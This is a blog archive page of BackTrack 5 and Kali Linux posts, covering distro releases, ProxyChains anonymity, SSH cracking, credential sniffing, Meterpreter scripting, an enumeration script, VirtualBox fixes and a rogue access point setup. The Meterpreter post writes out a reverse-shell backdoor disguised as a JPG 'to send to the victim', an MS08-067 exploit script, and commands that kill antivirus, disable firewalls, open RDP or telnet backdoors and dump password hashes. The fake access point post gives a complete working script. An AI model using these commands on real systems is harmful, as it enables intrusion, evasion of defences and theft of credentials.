Affichage des articles dont le libellé est Backtrack5. Afficher tous les articles
Affichage des articles dont le libellé est Backtrack5. Afficher tous les articles

Backtrack Reborn - Kali Linux

Image Credit
Vulnerability scanning and penetration testing tools are the weapon of a hacker and information security expert, tool is the common requirement for both white hat and black hat hackers. So Linux distributions that have designed specially for penetration testing purpose are very important from the point of view of both attacking and defending.






Backtrack is one of the famous Linux distro that has all the necessary tools to conduct a successful attack on the victim network / computer. We all were expecting to get Backtrack 6 because after backtrack 5 it has to be the next version, but the Offensive-Security team has decided to restructure the current distribution and hence Kali Linux as Backtrack 6 has been released.

Kali Linux has been released on March 13th 2013, as the official said that the Kali Linux is more stable and more secure. The video that has been released by official can give the information of overall requirement and expectation from this distro.






 

 

Download Backtrack 6 / Kali Linux

Kali Linux is available on the official website with the basic guide on installation and usage.

If you have used Kali Linux than kindly share your views about it, we will publish the Kali Linux installation guide later and the articles would be like:

How to install Kali Linux
Kali Linux Dual Boot Installation with Windows 


Note: If you want to learn more about Linux and Windows based Penetration testing, you might want to subscribe our RSS feed and Email Subscription  or become our Facebook fan! You will get all the latest updates at both the places.

~ samedi 23 mars 2013 0 commentaires

ProxyChains + Tor Backtrack 5 R3 Tutorial

To remain anonymous is one of the important aspect of Information Security, if you want to conduct penetration testing on a remote computer then active connection is required which surely reveal your identity, sometimes you need to hide your identity while doing vulnerability assessment because of your anonymity and security. Proxy Chaning is a concept which is very helpful to hide an identity on the Internet.


What is Proxy Chaining?




Your Computer → Proxy Server → Target Computer

Proxy Concept


The concept mentioned above is the concept of simple proxy, when a user uses one proxy server to hide his/her identity.

Your Computer → Proxy Server 1 +.......+ Proxy Server N → Target Computer


Proxy Chains


Now the usage of multiple proxies at a time is called Proxy Chaining, it is reliable in-terms to hide the identity. In simple words

“Proxy Chaning is the process to use multiple proxies in chain.”

What is Proxy Chains?


The basic concept of proxy chaining is discussed now in this section we will discuss the practical aspect of Proxy Chaining, Proxy Chains (ProxyChains) is an open source program which allows you to make TCP and DNS connection by using proxy for example TOR.

TOR is not necessary for proxychains, you may use any SOCKS 4, SOCKS 5 and HTTPS proxy. There are so many advantages of Proxy Chains for example:

    • Hide identity
    • It can bypass Firewall (If you are behind a firewall or local proxy server)
    • And many more

      Proxy Chains Tutorial


      Proxy Chaining can be achieved on Windows OS too but in this section I will discuss Linux Backtrack, you may use any Linux distribution including Ubuntu.

      In Backtrack 5 R3 proxychains is already configured but if you are using any other version of Linux you may download it from official website. Follow the command mentioned below to get proxychains via terminal.

      root@bt:~# apt-get install proxychains

      Now the second step is to configure proxychains, there are two options that can be used whether use nano to edit config file on terminal and the other option is to use your favorite editor, both commands are mentioned below.

      root@bt:~# nano /etc/proxychains.conf
      --OR--
      root@bt:~# sudo gedit /etc/proxychains.conf

      The second option has been used to discuss this tutorial, you may see that there are three options along with there definitions and usage.

      • Dynamic Chain
      • Strict Chain
      • Random Chain
      ProxyChains Configuration


      Delete # from the front of technique that you want to use, its time to get some proxies. Private and highly anonymous proxies work best (if you can afford) otherwise use the publicly available proxies.

      Do not delete the last line, add your proxy list after this line.


      Proxy Chains Configuration


      Dynamic chain is very good if you are using publicly available proxies.

       
      Proxy Chains usage is very simple (proxychains [args])
      root@bt:~# proxychains nmap ehacking.net
      root@bt:~# proxychains firefox
      root@bt:~# proxychains msfconsole
      root@bt:~# proxychains telnet 192.168.1.1

      Example:
      Proxy Chaining
       This tutorial completely demonstrate the basic concept and usage of Proxy Chaining and Proxy Chains, if you have any question then feel free to ask on the comment box. 




      Note: If you want to learn more about Linux and Windows based Penetration testing, you might want to subscribe our RSS feed and Email Subscription  or become our Facebook fan! You will get all the latest updates at both the places.

      ~ dimanche 13 janvier 2013 0 commentaires

      BackTrack 5 R3 Released

      Backtrack is one of the best Linux distribution for penetration testing, it helps ethical hackers to perform the penetration testing on the network, web application, wireless network, RFID and many more. Backtrack 5 was the last released but now backtrack 5 R3 has been released by the backtrack community. 



        

      What official website describe about it:

      The time has come to refresh our security tool arsenal – BackTrack 5 R3 has been released. R3 focuses on bug-fixes as well as the addition of over 60 new tools – several of which were released in BlackHat and Defcon 2012. A whole new tool category was populated – “Physical Exploitation”, which now includes tools such as the Arduino IDE and libraries, as well as the Kautilya Teensy payload collection.

      Building, testing and releasing a new BackTrack revision is never an easy task. Keeping up-to-date with all the latest tools, while balancing their requirements of dependencies, is akin to a magic show juggling act. Thankfully, active members of our redmine community such as backtracklover and JudasIscariot make our task that much easier by actively reporting bugs and suggesting new tools on a regular basis. Hats off to the both of you.

      Together with our usual KDE and GNOME, 32/64 bit ISOs, we have released a single VMware Image (Gnome, 32 bit). For those requiring other VM flavors of BackTrack – building your own VMWare image is easy – instructions can be found in the BackTrack Wiki.

      For the insanely impatient, you can download the BackTrack 5 R3 release via torrent right now. Direct ISO downloads will be available once all our HTTP mirrors have synched, which should take a couple more hours. Once this happens, we will update our BackTrack Download page with all links.








      Note: If you want to learn more about Linux and Windows based Penetration testing, you might want to subscribe our RSS feed and Email Subscription  or become our Facebook fan! You will get all the latest updates at both the places.

      ~ mardi 14 août 2012 0 commentaires

      SSH Cracking Backtrack 5 Video Tutorial

      SSH is a network protocol which allows you to connect the remote computer securely, SSH is just like telnet but telnet is not secure while SSH is a secure channel for communication. We have already discussed SSH before and in this tutorial I will show you how to crack a SSH to get the password because if you know the username and password then it is very for an attacker to get the remote shell of the victim.



      SSH security is very important because web administrator used to connect their web admin panel via SSH, people are using SSH to transfer the files. The communication might be client to client and client to server.

      In this tutorial I will show you how to crack the SSH and to get access on the Linux machine, the tools:

      • Backtrack 5 R1
      • Hydra (THC Hydra)
      • Mind 
      Enjoy the video and do not forget to share it ! Spread the knowldege to get some knowledge.







      Note: If you want to learn more about Linux and Windows based Penetration testing, you might want to subscribe our RSS feed and Email Subscription  or become our Facebook fan! You will get all the latest updates at both the places.

      ~ mardi 31 juillet 2012 0 commentaires

      Credentials Sniffing Psnuffle Metasploit Tutorial

      Metasploit is a very powerful penetration testing software and framework, metasploit has so many exploits and auxiliary modules that can perform so many tasks. There are so many auxiliary modules are available and this is the video tutorial made by mAx and I am just sharing the video tutorial. The video is the demonstration of credential sniffing via metasploit Psnuffle auxiliary module.




      Psnuffles metasploit auxiliary module is able to sniff the credentials of HTTP,FTP,POP3 and IMAP. So below is the video do not forger to share in via your social media profiles.



      Note: If you want to learn more about Linux and Windows based Penetration testing, you might want to subscribe our RSS feed and Email Subscription  or become our Facebook fan! You will get all the latest updates at both the places.

      ~ dimanche 27 mai 2012 0 commentaires

      Metasploit Meterpreter Scripting Backtrack 5 Tutorial

      Information security is a broad field and it involves the penetration testing and computer forensic as well, there are so many tools are available to perform the penetration testing on the target, Metasploit is one of the best tool among them. Meterpreter is a powerful feature of metasploit that uses DLL injection to communicate over the socket. Meterpreter works on the client-side by providing a powerful environment to communicate, to transfer files.


      A meterpreter session can be established after successfully exploiting the host. Available meterpreter scripts on a metasploit database automate multiple processes, such as:

      • Capture the screen
      • Keylogging
      • File transfer
      • Service detection and more
      Even with numerous meterpreter scripts available, you are free to write and to create your own script that is best suited to your work. Some important aspects about the meterpreter script would be:
      • Written in Ruby programming language
      • Located in the metasploit directory
      • Meterpreter scripts are creating everyday by different authors click here to check the list.
      • Meterpreter scripts are very helpful to automate the process after compromising the host
      • Meterpreter scripts are based on API and you can get more information here.
      There are so many meterpreter scripts that are available publicly for you to use, but if you want to create a new meterpreter script of your own and for public usage, this is readily doable. All you need to do is to follow some rules and regulations so that your script does not conflict with the standard variables. Ruby programming language is a basic need in order to write a script for meterpreter. Other important rules to follow are:
      • Always use description so that the others will understand it
      • Use local variable not global variable
      • Always provide help option for better usage
      • Keep in mind the target host (operating system, service pack (if windows), Kernel (for Unix) ) while creating a script, because all the system’s software does not contain all types of vulnerabilities
      Let us consider an example: in our scenario, we need to create an infected file (a backdoor) so that we can send it to the victim. Metasploit needn’t be that big of a deal; you can even create a backdoor by using fast-track.

      root@bt:~/Desktop# msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.2
      LPORT=4444 Desktop > test.jpg
      Created by msfpayload (http://www.metasploit.com).
      Payload: windows/meterpreter/reverse_tcp
      Length: 290
      Options: {"LHOST"=>"192.168.1.2", "LPORT"=>"4444"}


      As we have typed all the things in, we can automate the process by creating a new script:
      root@bt:/pentest/exploits/framework3# touch a.rb
      root@bt:/pentest/exploits/framework3# echo msfpayload windows/meterpreter/reverse_tcp
      LHOST=192.168.1.2 LPORT=4444 Desktop > test.jpg
      root@bt:/pentest/exploits/framework3# ruby a.rb
      root@bt:/pentest/exploits/framework3#

      The result is the same. It is also possible to create a jpg file but that method is fast. Since the time-consuming method is repeating the same step, why not create a script for that to do all these jobs automatically? There are different meterpreter scripts are available; just look at the picture below.


      This is just one small example. Let’s create a script taking advantage of a vulnerability that will exploit an operating system:

      root@bt:/pentest/exploits/framework3# touch test.rc
      root@bt:/pentest/exploits/framework3# echo use exploit/windows/smb/ms08_067_netapi
      use exploit/windows/smb/ms08_067_netapi
      root@bt:/pentest/exploits/framework3# echo set RHOST 192.168.1.6
      set RHOST 192.168.1.6
      root@bt:/pentest/exploits/framework3# echo exploit
      exploit
      root@bt:/pentest/exploits/framework3# msfconsole -r test.rc


      Beyond this, if we use the manual technique to do then job, then we will need to define:
      • The exploit for this case (well I have used nessus before that is why I know the system is vulnerable to ms08-067-netapi bug)
      • We need to set the remote host manually
      • We need to set local host and port manually
      After the execution, the meterpreter session must be active if and only if the operating system is vulnerable, such as in this case:


      Now in this meterpreter session, we are able to call different scripts. We can also create our own script as well, as discussed above. Below, I will show you some of the best meterpreter scripts. These are highly useful in the process of penetration testing; however, developers are refining these scripts daily, so be active in the community and on different blogs and forums to keep yourself updated.

      Screenspy Script

      This is the basic script that will capture the screen of the victim’s computer. All you need to do is type in “run screenspy.” To get help of usage, just type in “run screenspy -h” on the meterpreter screen. After the execution, Firefox will open with a picture of the victim’s computer at that moment.

      KillAv Script

      Killav script is a pretty famous script. As the name suggests, it will kill (close) antivirus softwares, so if you don’t want that antivirus’ software to disturb you, be sure to kill all of these antivirus softwares by using this script:

      meterpreter > run killav
      [*] Killing Antivirus services on the target...
      meterpreter >

      Killav contains the information on most of the better known anti-virus’s, but if there is a new anti-virus, then you will need to edit this script for the best performance. As before with the script file, we can find the famous anti-virus exe name:
      • winppr32.exe
      • winrecon.exe
      • winservn.exe
      • winssk32.exe
      • winstart.exe
      • winstart001.exe
      • wintsk32.exe
      • winupdate.exe
      • wkufind.exe
      • wnad.exe
      • wnt.exe
      • wradmin.exe
      • wrctrl.exe
      • wsbgate.exe
      • wupdater.exe
      • wupdt.exe
      • wyvernworksfirewall.exe
      • xpf202en.exe
      • zapro.exe
      • zapsetup3001.exe
      • zatutor.exe
      • zonalm2601.exe
      • zonealarm.exe

      Getcountermeasure Script

      Killav is a power script and it can kill a lot of different anti-virus’s, but the problem is that when you implement killav, windows may show some types of errors and other alerts, not to mention firewalls. This is remedied by a wonderful script called Getcountermeasure:

      meterpreter > run getcountermeasure -h
      Getcountermeasure -- List (or optionally, kill) HIPS and AV
      processes, show XP firewall rules, and display DEP and UAC
      policies

      OPTIONS:

      -d Disable built in Firewall
      -h Help menu.
      -k Kill any AV, HIPS and Third Party Firewall process found.

      Just imagine how powerful this script is! It has an ability to fight against Firewall, Anti-virus, IPS and even third party firewall that are so very common nowadays. It is really better than Killav. To use it:

      meterpreter > run getcountermeasure -d 

      [*] Running Getcountermeasure on the target...
      [*] Checking for contermeasures...
      [*] Getting Windows Built in Firewall configuration...
      [*]
      [*] Domain profile configuration:
      [*] -------------------------------------------------------------------
      [*] Operational mode = Enable
      [*] Exception mode = Enable
      [*]
      [*] Standard profile configuration (current):
      [*] -------------------------------------------------------------------
      [*] Operational mode = Disable
      [*] Exception mode = Enable
      [*]
      [*] Local Area Connection firewall configuration:
      [*] -------------------------------------------------------------------
      [*] Operational mode = Enable
      [*]
      [*] Disabling Built in Firewall.....
      [*] Checking DEP Support Policy...
      Try to understand the power of this wonderful script: it will remove security logs as well look at the picture.

      Gettelnet script

      Telnet is one of the most famous services on the windows operating system. It will allow a remote connection, so if you want to open telnet on the victim’s computer for future use, then it is a good script to use. However, as an advance we can use SSH service for remote connection. We can also install netcat as a backdoor on a compromised host for future connections. Use this command to get more help
        meterpreter > gettelnet -h

      There are a lot of different scripts are available but here we will discuss only the most important ones. These will help you to understand the network as well as help you for future connections:
      Net Enum- Network Enumeration Script
      Netenum is a network enumeration script that is a wonderful script for:
      • Domain Name for DNS Forward Lookup
      • To Perform DNS Forward Lookup on host list and domain
      • The target address range or CIDR identifier
      • To Perform DNS lookup of MX and NS records for a domain
      • To Perform Service Record DNS lookup for a domain
      • To Perform Ping Sweep on IP Range

      Checkvm- Check Virtual Machine

      Virtual machines are now an important part of enterprise network and most of the large (and even small) networks are using them. Checkvm is a script that will let you monitor the status of the victim, whether on virtual machine or not. It will also let you see the type of virtual machine. Here is the output of this case:

       meterpreter > run checkvm
      [*] Checking if target is a Virtual Machine .....
      [*] This is a Sun VirtualBox Virtual Machine
      meterpreter >

      Virus Scan Bypass

      Bypasses Mcafee VirusScan Enterprise v8.7.0i+, uploads an executable to TEMP folder, adds it to exclusion list and sets it to run at startup. Though we have discussed two scripts that kill anti-virus protections, it is good to run different scripts to verify your attack.
       
        meterpreter > run virusscan_bypass -h

      Enable RDP- Getgui

      If you want a graphical user interface of the victim’s computer, then you need to open a service called RDP (remote desktop protocol):
        meterpreter > run getgui -e
      [*] Windows Remote Desktop Configuration Meterpreter Script by Darkoperator
      [*] Carlos Perez carlos_perez@darkoperator.com
      [*] Enabling Remote Desktop
      [*] RDP is disabled; enabling it ...
      [*] Setting Terminal Services service startup mode

      Hashdump

      Last but not the least: I really don’t want to end this article without sharing hashdump, in case you want to secure password hashes from the victim for future use. In some cases, these hashes works on other platforms:

       meterpreter > run hashdump
      [*] Obtaining the boot key...
      [*] Calculating the hboot key using SYSKEY 374d90e7c3ff37a0d6064c461200ca22...
      [*] Obtaining the user list and keys...
      [*] Decrypting user keys...
      [*] Dumping password hashes...
      Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
      Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
      HelpAssistant:1000:d298b9b7042eb51df888799802d50eee:fbd49eecf08b5a011f32c57a953b5a99:::
      SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:26b787a3004f92dd4d94d34db9863999:::

      If you have some other wonderful scripts, please share with in the comments!


      Note: If you want to learn more about Linux and Windows based Penetration testing, you might want to subscribe our RSS feed and Email Subscription  or become our Facebook fan! You will get all the latest updates at both the places.

      ~ vendredi 18 mai 2012 0 commentaires

      Pentest.sh Penetration Testing Script for Backtrack 5

      Penetration testing and Ethical hacking can be done by manually and automatically, both manual and automatic vulnerability scanning and hacking has their own importance like automatic process save time while manual hacking can find more vulnerabilities and so on. There are so many tools and techniques has been discussed before but in this article I will share a wonderful script written by phillips321 that can make the job of information gathering and enumeration easy.

      The script has been designed for backtrack 5 operating system and it can work on backtrack 5 R1 too, the dependencies and the tools that has been mentioned in the script are :

      #       nmap
      #       sslscan
      #       gnome-web-photo
      #       arp-scan
      #       dialog
      #       onesixtyone
      #       amap

      On your backtrack 5 kindly use the terminal to install the dependencies by using 

      apt-get install sslscan gnome-web-photo arp-scan dialog
      The script as follows 

      #!/bin/bash
      #__________________________________________________________
      # Author:     phillips321 contact through phillips321.co.uk
      # License:    CC BY-SA 3.0
      # Use:        All in one pentest script designed for bt5
      # Released:   www.phillips321.co.uk
        version=2.1
      # Dependencies:
      #       nmap
      #       sslscan
      #       gnome-web-photo
      #       arp-scan
      #       dialog
      #       onesixtyone
      #       amap
      # backtrack users can apt-get install sslscan gnome-web-photo arp-scan dialog
      #
      # ToDo:
      #       nikto
      #       add ability to launch nesssus against targets
      #       ldapminer: wine ldapminer.exe -d -h ${ip}
      #       add nfs connect followed by tree command
      #       add snmp test using swaks --to user@example.com --server test-server.example.net
      #       add uniscan http://${ip}:${port}/ | tee ${ip}.${port}.uniscan.txt
      Get the complete script from here.

      Since it is a bash script so all you need to do is to just copy the script and paste on your text editor "gedit" in backtrack 5 and then save it to whatever.sh 

      Open the terminal, locate the directory where you have saved the script before and launch the script, for example

      root@bt:~/Desktop# sh ehacking.sh

      Share your experience with the script.


      Note: If you want to learn more about Linux and Windows based Penetration testing, you might want to subscribe our RSS feed and Email Subscription  or become our Facebook fan! You will get all the latest updates at both the places.

      ~ lundi 26 mars 2012 0 commentaires

      BackTrack 5 R2 – VirtualBox Guest Additions + USB Issues Fixes

      VirtualBox is of course the most suitable virtualization solution to run BackTrack. Unfortunately, with this latest version of BackTrack, the VirtualBox Guest Additions cannot be installed on a fresh new install. Fortunately after some modifications, everything can be fixed to compile these additions for the 3.2.6 Linux Kernel of BackTrack 5 R2.


      Download and Install

      If you want support for USB 2.0 devices you must download and install Oracle VM Extension Pack for VirtualBox!
      I will not describe the steps to install BackTrack on VirtualBox. A lot of tutorials can be found on the Internet to upgrade to BackTrack 5 R2 or to makea fresh install. But here are some screenshots about the VirtualBox configuration for my MacBook Air i7 1.8Ghz.




      Issue #1 (solved): USB device descriptor error

      usb 1-1: Device descriptor read/8, error -110
      usb 1-1: Device descriptor read/64, error -110

      Solution


      Number of Processor for the Guest OS must be set to 1 or eventually 2…
      For example, my MacBook Air has a Core i7 inside, multithreading displays 4 virtual cores. So I have to set a maximum of 2 cores to BackTrack VM Guest to fix this issue. (Even if the recommended number of cores VirtualBox displays is 4).

      Issue #2 (solved): VirtualBox Guest Additions

      When you try to install the VirtualBox Guest Additions, these two kinds of errors can occur and lead to a vboxguest kernel extension impossible to load.

      The headers for the current running kernel were not found. If the following module compilation fails then this could be the reason.

      and
      Building the main Guest Additions module ...fail!
      (Look at /var/log/vboxadd-install.log to find out what went wrong)

      Both issues result to:

      Starting the VirtualBox Guest Additions ...fail!
      (modprobe vboxguest failed)

      Solution


         
      apt-get install linux-headers-$(uname -r) linux-headers xserver-xorg xserver-xorg-core file-roller # file-roller is not needed, but recommended
      cd /usr/src/
      tar jxf linux-source-3.2.6.tar.bz2
      cd /usr/src/linux-headers-3.2.6/include/
      rm asm
      ln -s /usr/src/linux-source-3.2.6/arch/x86/include/asm asm
      cd /lib/modules/3.2.6/
      ln -s /usr/src/linux-headers-3.2.6 build

      Ready to install VBOXADDITIONS :-)
      Verifying archive integrity... All good.
      Uncompressing VirtualBox 4.1.10 Guest Additions for Linux..........
      VirtualBox Guest Additions installer
      Removing installed version 4.1.10 of VirtualBox Guest Additions...
      tar: Record size = 8 blocks
      Removing existing VirtualBox DKMS kernel modules ...done.
      Removing existing VirtualBox non-DKMS kernel modules ...done.
      Building the VirtualBox Guest Additions kernel modules
      Building the main Guest Additions module ...done.
      Building the shared folder support module ...done.
      Building the OpenGL support module ...done.
      Doing non-kernel setup of the Guest Additions ...done.
      You should restart your guest to make sure the new modules are actually used
      Installing the Window System drivers
      Installing X.Org Server 1.7 modules ...done.
      Setting up the Window System to use the Guest Additions ...done.
      You may need to restart the hal service and the Window System (or just restart
      the guest system) to enable the Guest Additions.
      Installing graphics libraries and desktop services components ...done.
      Press Return to close this window...

      Good job, reboot and enjoy adaptative screen resolution, smooth mouse moves, folder sharing, copy/paste from Host to Guest and vis versa, etc.

      About the Author


      Thireus Security Engineer/Consultant, Intern at Thales Communications & Security.
      IT Security and Telecommunication Engineering Student at ENSEIRB-MATMECA & Master 2 CSI University of Bordeaux 1 (Bordeaux, France). Founder and co-administrator of DareYourMind.net. Author of various security and privacy related articles on blog.thireus.com. Active member in the HackinTosh and JailBreak communities.

      Note: If you want to learn more about Linux and Windows based Penetration testing, you might want to subscribe our RSS feed and Email Subscription  or become our Facebook fan! You will get all the latest updates at both the places.

      ~ vendredi 23 mars 2012 0 commentaires

      How to Create a Fake Access Point Backtrack 5

      Rouge access point or a fake access point is the real threat for WiFi users, Airsnarf - Rogue Access Point and Karmetasploit- Backtrack 5 Tutorial has been discussed before and in this article I will a wonder tutorial from a wonderful that discuss how to create a fake access point on backtrack 5. There are a lot of Tutorials and Scripts for setting up a Fake AP,  The “Gerix”  tool also have an option to auto set a Fake AP (for some reason this tool never worked for me).

      I started to setup my fake AP and had run into some trouble for a strange reason.
      I decided to put my experience here hopefully you’ll find it useful.
      Started by putting my Wlan interface in monitor mode
      root@Blackbox:~/fakeap# airmon-ng start wlan1
      Found 1 processes that could cause trouble.
      If airodump-ng, aireplay-ng or airtun-ng stops working after
      a short period of time, you may want to kill (some of) them!
      PID Name
      1558 dhclient
      Interface Chipset Driver
      wlan1 Realtek RTL8187L rtl8187 - [phy1]SIOCSIFFLAGS: Unknown error 132
      (monitor mode enabled on mon0)
      I noticed the following error: “Unknown error 132″
      Tried using airodump-ng to see what happens…

      root@Blackbox:~/fakeap# airodump-ng mon0
      ioctl(SIOCSIFFLAGS) failed: Unknown error 132
      Got the same error.
      The solution was simply to unload the RTL8187 and Load the R8187 driver instead as follows:
      root@Blackbox:~/fakeap# rmmod rtl8187
      root@Blackbox:~/fakeap# modprobe r8187
      Tried putting wlan In monitor mode again
      root@Blackbox:~/fakeap# airmon-ng start wlan1
      Found 1 processes that could cause trouble.
      If airodump-ng, aireplay-ng or airtun-ng stops working after
      a short period of time, you may want to kill (some of) them!
      PID Name
      1558 dhclient
      Interface Chipset Driver
      wlan1 RTL8187 r8187 (monitor mode enabled)
      Well, that fixed the problem
      root@Blackbox:~/fakeap# iwconfig
      lo no wireless extensions.
      eth3 no wireless extensions.
      wlan1 802.11b/g Mode:Monitor Channel=10 Bit Rate=11 Mb/s
      Tx-Power=5 dBm
      Retry:on Fragment thr:off
      Link Quality=0/100 Signal level=50 dBm Noise level=-156 dBm
      Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0
      Tx excessive retries:0 Invalid misc:0 Missed beacon:0
      Now we can proceed to the fake ap setup process
      1. Install a DHCP Server
      apt-get install dhcp3-server
      2. Edit “/etc/dhcp3/dhcpd.conf” as follows (You can change ip address, pool and dns server as needed):
      ddns-update-style ad-hoc;
      default-lease-time 600;
      max-lease-time 7200;
      authoritative;
      subnet 10.0.0.0 netmask 255.255.255.0 {
      option subnet-mask 255.255.255.0;
      option broadcast-address 10.0.0.255;
      option routers 10.0.0.254;
      option domain-name-servers 8.8.8.8;
      range 10.0.0.1 10.0.0.140;
      }
      3. Put your wlan in monitor mode
      airmon-ng start wlan1
      4. Start airbase-ng, you will need to specify the AP SSID and channel number
      airbase-ng -e FreeWifi -c 11 -v wlan1 &
      5. Airbase will create a new adapter “at0″ you will need to enable it and assign it with an ip address and subnet mask, the ip address you assign to this interface will be the default gateway that you specified in the dhcpd.conf file.
      ifconfig at0 up
      ifconfig at0 10.0.0.254 netmask 255.255.255.0
      6. Add a route
      route add -net 10.0.0.0 netmask 255.255.255.0 gw 10.0.0.254
      7. Setup ip tables
      iptables --flush
      iptables --table nat --flush
      iptables --delete-chain
      iptables --table nat --delete-chain
      iptables -P FORWARD ACCEPT
      • Eth3 is my external interface which is connected to the internet change it to whatever yours is
      iptables -t nat -A POSTROUTING -o eth3 -j MASQUERADE
      8. Clear dhcp leases
      echo > '/var/lib/dhcp3/dhcpd.leases'
      9. Create a symlink to dhcpd.pid (skipping this may cause an error when starting dhcp server)
      ln -s /var/run/dhcp3-server/dhcpd.pid /var/run/dhcpd.pid
      10. Start the DHCP server
      dhcpd3 -d -f -cf /etc/dhcp3/dhcpd.conf at0 &
      11. Don’t forget to enable IP forwarding
      echo "1" > /proc/sys/net/ipv4/ip_forward
      That’s All Folks!
      I have created a simple bash script to automate this process you will just need to change it  to suit your configuration.


      #!/bin/bash

      echo "Killing Airbase-ng..."
      pkill airbase-ng
      sleep 2;
      echo "Killing DHCP..."
      pkill dhcpd3
      sleep 5;

      echo "Putting Wlan In Monitor Mode..."
      airmon-ng stop wlan1 # Change to your wlan interface
      sleep 5;
      airmon-ng start wlan1 # Change to your wlan interface
      sleep 5;
      echo "Starting Fake AP..."
      airbase-ng -e FreeWifi -c 11 -v wlan1 & # Change essid, channel and interface
      sleep 5;

      ifconfig at0 up
      ifconfig at0 10.0.0.254 netmask 255.255.255.0 # Change IP addresses as configured in your dhcpd.conf
      route add -net 10.0.0.0 netmask 255.255.255.0 gw 10.0.0.254

      sleep 5;

      iptables --flush
      iptables --table nat --flush
      iptables --delete-chain
      iptables --table nat --delete-chain
      iptables -P FORWARD ACCEPT
      iptables -t nat -A POSTROUTING -o eth3 -j MASQUERADE # Change eth3 to your internet facing interface

      echo > '/var/lib/dhcp3/dhcpd.leases'
      ln -s /var/run/dhcp3-server/dhcpd.pid /var/run/dhcpd.pid
      dhcpd3 -d -f -cf /etc/dhcp3/dhcpd.conf at0 &

      sleep 5;
      echo "1" > /proc/sys/net/ipv4/ip_forward


      The over all credit goes to Exploit KB



      Note: If you want to learn more about Linux and Windows based Penetration testing, you might want to subscribe our RSS feed and Email Subscription  or become our Facebook fan! You will get all the latest updates at both the places.

      ~ samedi 10 mars 2012 0 commentaires

      Backtrack 5 R2 Release - Update to Backtrack 5 R2

      How to update and upgrade your current (backtrack 5 R1) backtrack machine into the latest version backtrack 5 R2, however backtrack 5 R2 will be release on 1st March but the kernel of BT5 R2 has been arrived and you can update it by yourself or wait for the official release. The new kernel of 3.2.6 BT5 R2 will provide a more stable and complete penetration testing environment than ever before.



      Open the terminal and update your backtrack 5 R1 installation.


      apt-get update
      apt-get dist-upgrade
      reboot

      Now you have the latest kernel.

      OPTIONAL – Once rebooted, log back in, and get your pretty splash screen back.

      fix-splash
      reboot
      On the next reboot, you should see the red console splash screen appear.
      Verify that you are running a 3.2.6 kernel:

      uname -a
      You should see something like “Linux bt 3.2.6 …”
      Feel free to install any or all of the new tools featured in BackTrack 5 R2:

      apt-get install pipal findmyhash metasploit joomscan hashcat-gui golismero easy-creds pyrit sqlsus vega libhijack tlssled hash-identifier wol-e dirb reaver wce sslyze magictree nipper-ng rec-studio hotpatch xspy arduino rebind horst watobo patator thc-ssl-dos redfang findmyhash killerbee goofile bt-audit bluelog extundelete se-toolkit casefile sucrack dpscan dnschef

      Load the new security update and then upgrade it


      echo "deb http://updates.repository.backtrack-linux.org revolution main microverse non-free testing" >> /etc/apt/sources.list
      apt-get update
      apt-get dist-upgrade

      It will be asked about the revision make sure to choose all by default and hit enter.


      Restart your distribution with the services.

      Backtrack 5 R2 will be officially release in March 1 with the complete information.
      Source

      Note: If you want to learn more about Linux and Windows based Penetration testing, you might want to subscribe our RSS feed and Email Subscription  or become our Facebook fan! You will get all the latest updates at both the places.

      ~ samedi 25 février 2012 0 commentaires